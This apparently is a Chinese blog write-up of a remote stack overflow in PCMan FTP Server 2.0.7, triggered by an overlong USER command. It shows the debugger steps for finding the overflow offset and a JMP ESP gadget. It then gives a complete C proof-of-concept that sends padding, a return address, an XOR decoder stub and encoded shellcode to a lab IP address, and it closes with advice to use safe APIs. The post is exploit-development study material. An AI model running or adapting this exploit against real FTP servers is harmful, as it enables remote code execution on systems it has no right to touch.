PCManFTP v2.0漏洞分析

软件简介

PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。

漏洞成因

PCMan FTP Server的2.0.7版在WindowsXP下的远程溢出漏洞,此软件由于未能有效处理FTP命令的字符长度,进而引发栈溢出漏洞,导致攻击者可以远程执行任何命令。用于FTP登录的”USER“命令即可触发此漏洞,在没有获取目标的FTP访问权限的前提下,即可对其进行溢出攻击。

利用过程

前提:

需要有一份能与FTP进行交互的代码才能受控的触发此漏洞。只要编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互。

步骤:

建立socket连接,连接目标FTP

    接受FTP服务器的欢迎语

    发送 “USER XXX”的登录请求

接受请求结果(不会走到这一步,此时FTP服务器已经被攻击完)

测试:

    先发送正常的信息,判断是否能够正常连接:

结果显示正常连接。打开WinDBG附加程序,用Mona2生成一段3000字节长度的的测试字符串,用于确定溢出点:

    运行: .load pykd.pyd

           !py mona

    命令:!py mona pc 3000

将生成的字符串放到pCommand中发送过去,触发之后可见下面的回显,证明我们正要在一个不存在的地方执行代码

    使用命令计算出溢出点: !py mona po 6f43376f

得到溢出点在偏移2002的位置。

溢出点已经得到确认,用Mona2在目标程序空间中找到一个跳板指令:JMP ESP

命令:!py mona jmp -r esp -m “kernel32.dll”

在这个地址上下断点:bp 0x75a3f8f7,然后攻击测试,程序再次崩溃,WinDBG中程序断在刚才下的断点,程序成功运行到了我们想要的结果:

攻击:

    经过测试,程序已经能够按照我们想要的结果运行了,下面我们就需要构造攻击命令了。这里使用了弹出helloworld的命令,但是FTP命令中不能包含:0x00、0x0D、0x0a,因此我们需要加密我们的shellcode,处理之后的: 

经过处理之后的Shellcode是加密的,因此我们也要在前面加上进行解密的代码,先解密再执行。此时,再运行程序,PCManFTPD2就执行我们Shellcode的指令:

POC

//1、初始化Winsock服务

    WSADATA stWSA;

    WSAStartup(0x0202, &stWSA);

    //2、创建一个原始套接字

    SOCKET stListen = INVALID_SOCKET;

    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

    //3、任意地址(INADDR_ANY)上绑定一个端口

    SOCKADDR_IN stService;

    stService.sin_family = AF_INET; //协议簇

    //填写端口,需要考虑:大小字节序问题

    stService.sin_port = htons(21);   //端口

    stService.sin_addr.S_un.S_addr = inet_addr("192.168.197.132");  //服务端的IP

    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));

    // 接受欢迎语

    char szRecv[0X100] = { 0 };

    recv(stListen, szRecv, sizeof(szRecv), 0);

    // 发送登录请求,构造 Exploit

    char szExploit[3000] = { 0 };                       // Exploit 容器

    char szFill[2003] = { 0 };                          // 填充字节

    char szJMPESP[] = "\xF7\xF8\xa3\x75";               // 地址0x75a3f8f7

    char szNOP[] = "\x90\x90\x90\x90\x90\x90\x90\x90";  // 滑板指令区

    // 解密代码

    char bDecode[] = "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9"\

        "\x66\xB9\x56\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E"\

        "\x07\xFF\xE6";

    // 加密后的 Shellcode

    char bShellcode[] = "\x84\xEB\x67\xEC\x49\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63\x75"\

        "\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42" \

        "\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62" \

        "\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75" \

        "\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x50\x68\x75\x6B" \

        "\x63\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07" \

        "\x8C\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x13\x07" \

        "\x07\x07\x8C\xF7\x55\x8A\x4C\xBB\x56\x55\xF8\xD7\x5D\x54\x51\x57" \

        "\x55\xEF\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F" \

        "\x8C\x75\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A" \

        "\x3B\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79" \

        "\x23\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C" \

        "\x33\x81\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xAA\xBE\x09" \

        "\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B" \

        "\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2" \

        "\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCC" \

        "\x6D\x07\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD1\x56\x57\xF8\x52\x17" \

        "\x8E\x42\xFB\x8A\x4C\xE5\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF" \

        "\x8A\x4C\xE9\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52" \

        "\xFF\x8C\xE2\x5A\xC5\x17\x07\x07";

    memset(szFill, 0x90, 2002);         // 少填充一个 90,最后一个是0x00

    sprintf_s(szExploit, "USER %s%s%s%s%s\r\n", szFill, szJMPESP,szNOP,bDecode,bShellcode);

    send(stListen, szExploit, strlen(szExploit), 0);

    recv(stListen, szRecv, sizeof(szRecv), 0);

    //7、关闭相关句柄并释放相关资源

    closesocket(stListen);

    WSACleanup();

结语

该程序接收数据时,没有对数据的长度进行检查,当输入较长内容时造成缓冲区溢出,从而引发远程溢出漏洞。远程攻击者一旦成功利用,就可以执行任意代码,危害巨大。因此,为了尽量避免此类现象发生,在编写程序时,尽量使用安全版本的API。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值